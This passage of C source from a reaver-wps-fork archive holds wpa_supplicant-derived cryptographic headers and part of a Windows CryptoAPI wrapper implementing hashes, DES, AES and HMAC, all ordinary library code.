(((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ \ ((u32)(pt)[2] << 8) ^ ((u32)(pt)[3])) #define PUTU32(ct, st) { \ (ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); \ (ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); } #endif #define AES_PRIV_SIZE (4 * 44) void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]); #endif /* AES_I_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/aes_wrap.h000077500000000000000000000034421363372615500213770ustar00rootroot00000000000000/* * AES-based functions * * - AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * - One-Key CBC MAC (OMAC1) hash with AES-128 * - AES-128 CTR mode encryption * - AES-128 EAX mode encryption/decryption * - AES-128 CBC * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_WRAP_H #define AES_WRAP_H int __must_check aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher); int __must_check aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain); int __must_check omac1_aes_128_vector(const u8 *key, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int __must_check omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac); int __must_check aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out); int __must_check aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, u8 *data, size_t data_len); int __must_check aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, u8 *tag); int __must_check aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len, const u8 *hdr, size_t hdr_len, u8 *data, size_t data_len, const u8 *tag); int __must_check aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len); int __must_check aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len); #endif /* AES_WRAP_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/crypto.h000077500000000000000000000401771363372615500211240ustar00rootroot00000000000000/* * WPA Supplicant / wrapper functions for crypto libraries * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file defines the cryptographic functions that need to be implemented * for wpa_supplicant and hostapd. When TLS is not used, internal * implementation of MD5, SHA1, and AES is used and no external libraries are * required. When TLS is enabled (e.g., by enabling EAP-TLS or EAP-PEAP), the * crypto library used by the TLS implementation is expected to be used for * non-TLS needs, too, in order to save space by not implementing these * functions twice. * * Wrapper code for using each crypto library is in its own file (crypto*.c) * and one of these files is build and linked in to provide the functions * defined here. */ #ifndef CRYPTO_H #define CRYPTO_H /** * md4_vector - MD4 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * md5_vector - MD5 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); #ifdef CONFIG_FIPS /** * md5_vector_non_fips_allow - MD5 hash for data vector (non-FIPS use allowed) * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); #else /* CONFIG_FIPS */ #define md5_vector_non_fips_allow md5_vector #endif /* CONFIG_FIPS */ /** * sha1_vector - SHA-1 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * fips186_2-prf - NIST FIPS Publication 186-2 change notice 1 PRF * @seed: Seed/key for the PRF * @seed_len: Seed length in bytes * @x: Buffer for PRF output * @xlen: Output length in bytes * Returns: 0 on success, -1 on failure * * This function implements random number generation specified in NIST FIPS * Publication 186-2 for EAP-SIM. This PRF uses a function that is similar to * SHA-1, but has different message padding. */ int __must_check fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen); /** * sha256_vector - SHA256 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 on failure */ int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); /** * des_encrypt - Encrypt one block with DES * @clear: 8 octets (in) * @key: 7 octets (in) (no parity bits included) * @cypher: 8 octets (out) */ void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher); /** * aes_encrypt_init - Initialize AES for encryption * @key: Encryption key * @len: Key length in bytes (usually 16, i.e., 128 bits) * Returns: Pointer to context data or %NULL on failure */ void * aes_encrypt_init(const u8 *key, size_t len); /** * aes_encrypt - Encrypt one AES block * @ctx: Context pointer from aes_encrypt_init() * @plain: Plaintext data to be encrypted (16 bytes) * @crypt: Buffer for the encrypted data (16 bytes) */ void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); /** * aes_encrypt_deinit - Deinitialize AES encryption * @ctx: Context pointer from aes_encrypt_init() */ void aes_encrypt_deinit(void *ctx); /** * aes_decrypt_init - Initialize AES for decryption * @key: Decryption key * @len: Key length in bytes (usually 16, i.e., 128 bits) * Returns: Pointer to context data or %NULL on failure */ void * aes_decrypt_init(const u8 *key, size_t len); /** * aes_decrypt - Decrypt one AES block * @ctx: Context pointer from aes_encrypt_init() * @crypt: Encrypted data (16 bytes) * @plain: Buffer for the decrypted data (16 bytes) */ void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); /** * aes_decrypt_deinit - Deinitialize AES decryption * @ctx: Context pointer from aes_encrypt_init() */ void aes_decrypt_deinit(void *ctx); enum crypto_hash_alg { CRYPTO_HASH_ALG_MD5, CRYPTO_HASH_ALG_SHA1, CRYPTO_HASH_ALG_HMAC_MD5, CRYPTO_HASH_ALG_HMAC_SHA1 }; struct crypto_hash; /** * crypto_hash_init - Initialize hash/HMAC function * @alg: Hash algorithm * @key: Key for keyed hash (e.g., HMAC) or %NULL if not needed * @key_len: Length of the key in bytes * Returns: Pointer to hash context to use with other hash functions or %NULL * on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len); /** * crypto_hash_update - Add data to hash calculation * @ctx: Context pointer from crypto_hash_init() * @data: Data buffer to add * @len: Length of the buffer * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len); /** * crypto_hash_finish - Complete hash calculation * @ctx: Context pointer from crypto_hash_init() * @hash: Buffer for hash value or %NULL if caller is just freeing the hash * context * @len: Pointer to length of the buffer or %NULL if caller is just freeing the * hash context; on return, this is set to the actual length of the hash value * Returns: 0 on success, -1 if buffer is too small (len set to needed length), * or -2 on other failures (including failed crypto_hash_update() operations) * * This function calculates the hash value and frees the context buffer that * was used for hash calculation. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int crypto_hash_finish(struct crypto_hash *ctx, u8 *hash, size_t *len); enum crypto_cipher_alg { CRYPTO_CIPHER_NULL = 0, CRYPTO_CIPHER_ALG_AES, CRYPTO_CIPHER_ALG_3DES, CRYPTO_CIPHER_ALG_DES, CRYPTO_CIPHER_ALG_RC2, CRYPTO_CIPHER_ALG_RC4 }; struct crypto_cipher; /** * crypto_cipher_init - Initialize block/stream cipher function * @alg: Cipher algorithm * @iv: Initialization vector for block ciphers or %NULL for stream ciphers * @key: Cipher key * @key_len: Length of key in bytes * Returns: Pointer to cipher context to use with other cipher functions or * %NULL on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len); /** * crypto_cipher_encrypt - Cipher encrypt * @ctx: Context pointer from crypto_cipher_init() * @plain: Plaintext to cipher * @crypt: Resulting ciphertext * @len: Length of the plaintext * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len); /** * crypto_cipher_decrypt - Cipher decrypt * @ctx: Context pointer from crypto_cipher_init() * @crypt: Ciphertext to decrypt * @plain: Resulting plaintext * @len: Length of the cipher text * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len); /** * crypto_cipher_decrypt - Free cipher context * @ctx: Context pointer from crypto_cipher_init() * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_cipher_deinit(struct crypto_cipher *ctx); struct crypto_public_key; struct crypto_private_key; /** * crypto_public_key_import - Import an RSA public key * @key: Key buffer (DER encoded RSA public key) * @len: Key buffer length in bytes * Returns: Pointer to the public key or %NULL on failure * * This function can just return %NULL if the crypto library supports X.509 * parsing. In that case, crypto_public_key_from_cert() is used to import the * public key from a certificate. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len); /** * crypto_private_key_import - Import an RSA private key * @key: Key buffer (DER encoded RSA private key) * @len: Key buffer length in bytes * @passwd: Key encryption password or %NULL if key is not encrypted * Returns: Pointer to the private key or %NULL on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd); /** * crypto_public_key_from_cert - Import an RSA public key from a certificate * @buf: DER encoded X.509 certificate * @len: Certificate buffer length in bytes * Returns: Pointer to public key or %NULL on failure * * This function can just return %NULL if the crypto library does not support * X.509 parsing. In that case, internal code will be used to parse the * certificate and public key is imported using crypto_public_key_import(). * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len); /** * crypto_public_key_encrypt_pkcs1_v15 - Public key encryption (PKCS #1 v1.5) * @key: Public key * @in: Plaintext buffer * @inlen: Length of plaintext buffer in bytes * @out: Output buffer for encrypted data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_public_key_encrypt_pkcs1_v15( struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_private_key_decrypt_pkcs1_v15 - Private key decryption (PKCS #1 v1.5) * @key: Private key * @in: Encrypted buffer * @inlen: Length of encrypted buffer in bytes * @out: Output buffer for encrypted data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_private_key_decrypt_pkcs1_v15( struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_private_key_sign_pkcs1 - Sign with private key (PKCS #1) * @key: Private key from crypto_private_key_import() * @in: Plaintext buffer * @inlen: Length of plaintext buffer in bytes * @out: Output buffer for encrypted (signed) data * @outlen: Length of output buffer in bytes; set to used length on success * Returns: 0 on success, -1 on failure * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); /** * crypto_public_key_free - Free public key * @key: Public key * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_public_key_free(struct crypto_public_key *key); /** * crypto_private_key_free - Free private key * @key: Private key from crypto_private_key_import() * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_private_key_free(struct crypto_private_key *key); /** * crypto_public_key_decrypt_pkcs1 - Decrypt PKCS #1 signature * @key: Public key * @crypt: Encrypted signature data (using the private key) * @crypt_len: Encrypted signature data length * @plain: Buffer for plaintext (at least crypt_len bytes) * @plain_len: Plaintext length (max buffer size on input, real len on output); * Returns: 0 on success, -1 on failure */ int __must_check crypto_public_key_decrypt_pkcs1( struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len); /** * crypto_global_init - Initialize crypto wrapper * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_global_init(void); /** * crypto_global_deinit - Deinitialize crypto wrapper * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ void crypto_global_deinit(void); /** * crypto_mod_exp - Modular exponentiation of large integers * @base: Base integer (big endian byte array) * @base_len: Length of base integer in bytes * @power: Power integer (big endian byte array) * @power_len: Length of power integer in bytes * @modulus: Modulus integer (big endian byte array) * @modulus_len: Length of modulus integer in bytes * @result: Buffer for the result * @result_len: Result length (max buffer size on input, real len on output) * Returns: 0 on success, -1 on failure * * This function calculates result = base ^ power mod modulus. modules_len is * used as the maximum size of modulus buffer. It is set to the used size on * success. * * This function is only used with internal TLSv1 implementation * (CONFIG_TLS=internal). If that is not used, the crypto wrapper does not need * to implement this. */ int __must_check crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len); /** * rc4_skip - XOR RC4 stream to given data with skip-stream-start * @key: RC4 key * @keylen: RC4 key length * @skip: number of bytes to skip from the beginning of the RC4 stream * @data: data to be XOR'ed with RC4 stream * @data_len: buf length * Returns: 0 on success, -1 on failure * * Generate RC4 pseudo random stream for the given key, skip beginning of the * stream, and XOR the end result with the data buffer to perform RC4 * encryption/decryption. */ int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len); #endif /* CRYPTO_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/crypto_cryptoapi.c000077500000000000000000000402611363372615500232030ustar00rootroot00000000000000/* * Crypto wrapper for Microsoft CryptoAPI * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include #include "common.h" #include "crypto.h" #ifndef MS_ENH_RSA_AES_PROV #ifdef UNICODE #define MS_ENH_RSA_AES_PROV \ L"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" #else #define MS_ENH_RSA_AES_PROV \ "Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)" #endif #endif /* MS_ENH_RSA_AES_PROV */ #ifndef CALG_HMAC #define CALG_HMAC (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC) #endif #ifdef __MINGW32_VERSION /* * MinGW does not yet include all the needed definitions for CryptoAPI, so * define here whatever extra is needed. */ static BOOL WINAPI (*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY *phKey) = NULL; /* to be loaded from crypt32.dll */ static int mingw_load_crypto_func(void) { HINSTANCE dll; /* MinGW does not yet have full CryptoAPI support, so load the needed * function here. */ if (CryptImportPublicKeyInfo) return 0; dll = LoadLibrary("crypt32"); if (dll == NULL) { wpa_printf(MSG_DEBUG, "CryptoAPI: Could not load crypt32 " "library"); return -1; } CryptImportPublicKeyInfo = GetProcAddress( dll, "CryptImportPublicKeyInfo"); if (CryptImportPublicKeyInfo == NULL) { wpa_printf(MSG_DEBUG, "CryptoAPI: Could not get " "CryptImportPublicKeyInfo() address from " "crypt32 library"); return -1; } return 0; } #else /* __MINGW32_VERSION */ static int mingw_load_crypto_func(void) { return 0; } #endif /* __MINGW32_VERSION */ static void cryptoapi_report_error(const char *msg) { char *s, *pos; DWORD err = GetLastError(); if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, (LPTSTR) &s, 0, NULL) == 0) { wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d", msg, (int) err); } pos = s; while (*pos) { if (*pos == '\n' || *pos == '\r') { *pos = '\0'; break; } pos++; } wpa_printf(MSG_DEBUG, "CryptoAPI: %s: %d: (%s)", msg, (int) err, s); LocalFree(s); } int cryptoapi_hash_vector(ALG_ID alg, size_t hash_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { HCRYPTPROV prov; HCRYPTHASH hash; size_t i; DWORD hlen; int ret = 0; if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); return -1; } if (!CryptCreateHash(prov, alg, 0, 0, &hash)) { cryptoapi_report_error("CryptCreateHash"); CryptReleaseContext(prov, 0); return -1; } for (i = 0; i < num_elem; i++) { if (!CryptHashData(hash, (BYTE *) addr[i], len[i], 0)) { cryptoapi_report_error("CryptHashData"); CryptDestroyHash(hash); CryptReleaseContext(prov, 0); } } hlen = hash_len; if (!CryptGetHashParam(hash, HP_HASHVAL, mac, &hlen, 0)) { cryptoapi_report_error("CryptGetHashParam"); ret = -1; } CryptDestroyHash(hash); CryptReleaseContext(prov, 0); return ret; } int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_MD4, 16, num_elem, addr, len, mac); } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 next, tmp; int i; HCRYPTPROV prov; HCRYPTKEY ckey; DWORD dlen; struct { BLOBHEADER hdr; DWORD len; BYTE key[8]; } key_blob; DWORD mode = CRYPT_MODE_ECB; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.hdr.aiKeyAlg = CALG_DES; key_blob.len = 8; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; key_blob.key[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } key_blob.key[i] = next | 1; if (!CryptAcquireContext(&prov, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " "%d", (int) GetLastError()); return; } if (!CryptImportKey(prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &ckey)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", (int) GetLastError()); CryptReleaseContext(prov, 0); return; } if (!CryptSetKeyParam(ckey, KP_MODE, (BYTE *) &mode, 0)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " "failed: %d", (int) GetLastError()); CryptDestroyKey(ckey); CryptReleaseContext(prov, 0); return; } os_memcpy(cypher, clear, 8); dlen = 8; if (!CryptEncrypt(ckey, 0, FALSE, 0, cypher, &dlen, 8)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", (int) GetLastError()); os_memset(cypher, 0, 8); } CryptDestroyKey(ckey); CryptReleaseContext(prov, 0); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_MD5, 16, num_elem, addr, len, mac); } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { return cryptoapi_hash_vector(CALG_SHA, 20, num_elem, addr, len, mac); } struct aes_context { HCRYPTPROV prov; HCRYPTKEY ckey; }; void * aes_encrypt_init(const u8 *key, size_t len) { struct aes_context *akey; struct { BLOBHEADER hdr; DWORD len; BYTE key[16]; } key_blob; DWORD mode = CRYPT_MODE_ECB; if (len != 16) return NULL; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.hdr.aiKeyAlg = CALG_AES_128; key_blob.len = len; os_memcpy(key_blob.key, key, len); akey = os_zalloc(sizeof(*akey)); if (akey == NULL) return NULL; if (!CryptAcquireContext(&akey->prov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptAcquireContext failed: " "%d", (int) GetLastError()); os_free(akey); return NULL; } if (!CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &akey->ckey)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptImportKey failed: %d", (int) GetLastError()); CryptReleaseContext(akey->prov, 0); os_free(akey); return NULL; } if (!CryptSetKeyParam(akey->ckey, KP_MODE, (BYTE *) &mode, 0)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptSetKeyParam(KP_MODE) " "failed: %d", (int) GetLastError()); CryptDestroyKey(akey->ckey); CryptReleaseContext(akey->prov, 0); os_free(akey); return NULL; } return akey; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { struct aes_context *akey = ctx; DWORD dlen; os_memcpy(crypt, plain, 16); dlen = 16; if (!CryptEncrypt(akey->ckey, 0, FALSE, 0, crypt, &dlen, 16)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptEncrypt failed: %d", (int) GetLastError()); os_memset(crypt, 0, 16); } } void aes_encrypt_deinit(void *ctx) { struct aes_context *akey = ctx; if (akey) { CryptDestroyKey(akey->ckey); CryptReleaseContext(akey->prov, 0); os_free(akey); } } void * aes_decrypt_init(const u8 *key, size_t len) { return aes_encrypt_init(key, len); } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { struct aes_context *akey = ctx; DWORD dlen; os_memcpy(plain, crypt, 16); dlen = 16; if (!CryptDecrypt(akey->ckey, 0, FALSE, 0, plain, &dlen)) { wpa_printf(MSG_DEBUG, "CryptoAPI: CryptDecrypt failed: %d", (int) GetLastError()); } } void aes_decrypt_deinit(void *ctx) { aes_encrypt_deinit(ctx); } struct crypto_hash { enum crypto_hash_alg alg; int error; HCRYPTPROV prov; HCRYPTHASH hash; HCRYPTKEY key; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; ALG_ID calg; struct { BLOBHEADER hdr; DWORD len; BYTE key[32]; } key_blob; os_memset(&key_blob, 0, sizeof(key_blob)); switch (alg) { case CRYPTO_HASH_ALG_MD5: calg = CALG_MD5; break; case CRYPTO_HASH_ALG_SHA1: calg = CALG_SHA; break; case CRYPTO_HASH_ALG_HMAC_MD5: case CRYPTO_HASH_ALG_HMAC_SHA1: calg = CALG_HMAC; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; /* * Note: RC2 is not really used, but that can be used to * import HMAC keys of up to 16 byte long. * CRYPT_IPSEC_HMAC_KEY flag for CryptImportKey() is needed to * be able to import longer keys (HMAC-SHA1 uses 20-byte key). */ key_blob.hdr.aiKeyAlg = CALG_RC2; key_blob.len = key_len; if (key_len > sizeof(key_blob.key)) return NULL; os_memcpy(key_blob.key, key, key_len); break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; if (!CryptAcquireContext(&ctx->prov, NULL, NULL, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); os_free(ctx); return NULL; } if (calg == CALG_HMAC) { #ifndef CRYPT_IPSEC_HMAC_KEY #define CRYPT_IPSEC_HMAC_KEY 0x00000100 #endif if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, CRYPT_IPSEC_HMAC_KEY, &ctx->key)) { cryptoapi_report_error("CryptImportKey"); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } } if (!CryptCreateHash(ctx->prov, calg, ctx->key, 0, &ctx->hash)) { cryptoapi_report_error("CryptCreateHash"); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } if (calg == CALG_HMAC) { HMAC_INFO info; os_memset(&info, 0, sizeof(info)); switch (alg) { case CRYPTO_HASH_ALG_HMAC_MD5: info.HashAlgid = CALG_MD5; break; case CRYPTO_HASH_ALG_HMAC_SHA1: info.HashAlgid = CALG_SHA; break; default: /* unreachable */ break; } if (!CryptSetHashParam(ctx->hash, HP_HMAC_INFO, (BYTE *) &info, 0)) { cryptoapi_report_error("CryptSetHashParam"); CryptDestroyHash(ctx->hash); CryptReleaseContext(ctx->prov, 0); os_free(ctx); return NULL; } } return ctx; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL || ctx->error) return; if (!CryptHashData(ctx->hash, (BYTE *) data, len, 0)) { cryptoapi_report_error("CryptHashData"); ctx->error = 1; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { int ret = 0; DWORD hlen; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) goto done; if (ctx->error) { ret = -2; goto done; } hlen = *len; if (!CryptGetHashParam(ctx->hash, HP_HASHVAL, mac, &hlen, 0)) { cryptoapi_report_error("CryptGetHashParam"); ret = -2; } *len = hlen; done: if (ctx->alg == CRYPTO_HASH_ALG_HMAC_SHA1 || ctx->alg == CRYPTO_HASH_ALG_HMAC_MD5) CryptDestroyKey(ctx->key); os_free(ctx); return ret; } struct crypto_cipher { HCRYPTPROV prov; HCRYPTKEY key; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; struct { BLOBHEADER hdr; DWORD len; BYTE key[32]; } key_blob; DWORD mode = CRYPT_MODE_CBC; key_blob.hdr.bType = PLAINTEXTKEYBLOB; key_blob.hdr.bVersion = CUR_BLOB_VERSION; key_blob.hdr.reserved = 0; key_blob.len = key_len; if (key_len > sizeof(key_blob.key)) return NULL; os_memcpy(key_blob.key, key, key_len); switch (alg) { case CRYPTO_CIPHER_ALG_AES: if (key_len == 32) key_blob.hdr.aiKeyAlg = CALG_AES_256; else if (key_len == 24) key_blob.hdr.aiKeyAlg = CALG_AES_192; else key_blob.hdr.aiKeyAlg = CALG_AES_128; break; case CRYPTO_CIPHER_ALG_3DES: key_blob.hdr.aiKeyAlg = CALG_3DES; break; case CRYPTO_CIPHER_ALG_DES: key_blob.hdr.aiKeyAlg = CALG_DES; break; case CRYPTO_CIPHER_ALG_RC2: key_blob.hdr.aiKeyAlg = CALG_RC2; break; case CRYPTO_CIPHER_ALG_RC4: key_blob.hdr.aiKeyAlg = CALG_RC4; break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; if (!CryptAcquireContext(&ctx->prov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { cryptoapi_report_error("CryptAcquireContext"); goto fail1; } if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &ctx->key)) { cryptoapi_report_error("CryptImportKey"); goto fail2; } if (!CryptSetKeyParam(ctx->key, KP_MODE, (BYTE *) &mode, 0)) { cryptoapi_report_error("CryptSetKeyParam(KP_MODE)"); goto fail3; } if (iv && !CryptSetKeyParam(ctx->key, KP_IV, (BYTE *) iv, 0)) { cryptoapi_report_error("CryptSetKeyParam(KP_IV)"); goto fail3; } return ctx; fail3: CryptDestroyKey(ctx->key); fail2: CryptReleaseContext(ctx->prov, 0); fail1: os_free(ctx); return NULL; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { DWORD dlen; os_memcpy(crypt, plain, len); dlen = len; if (!CryptEncrypt(ctx->key, 0, FALSE, 0, crypt, &dlen, len)) { cryptoapi_report_error("CryptEncrypt"); os_memset(crypt, 0, len); return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { DWORD dlen; os_memcpy(plain, crypt, len); dlen = len; if (!CryptDecrypt(ctx->key, 0, FALSE, 0, plain, &dlen)) { cryptoapi_report_error("CryptDecrypt"); return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { CryptDestroyKey(ctx->key); CryptReleaseContext(ctx->prov, 0); os_free(ctx); } struct crypto_public_key { HCRYPTPROV prov; HCRYPTKEY rsa; 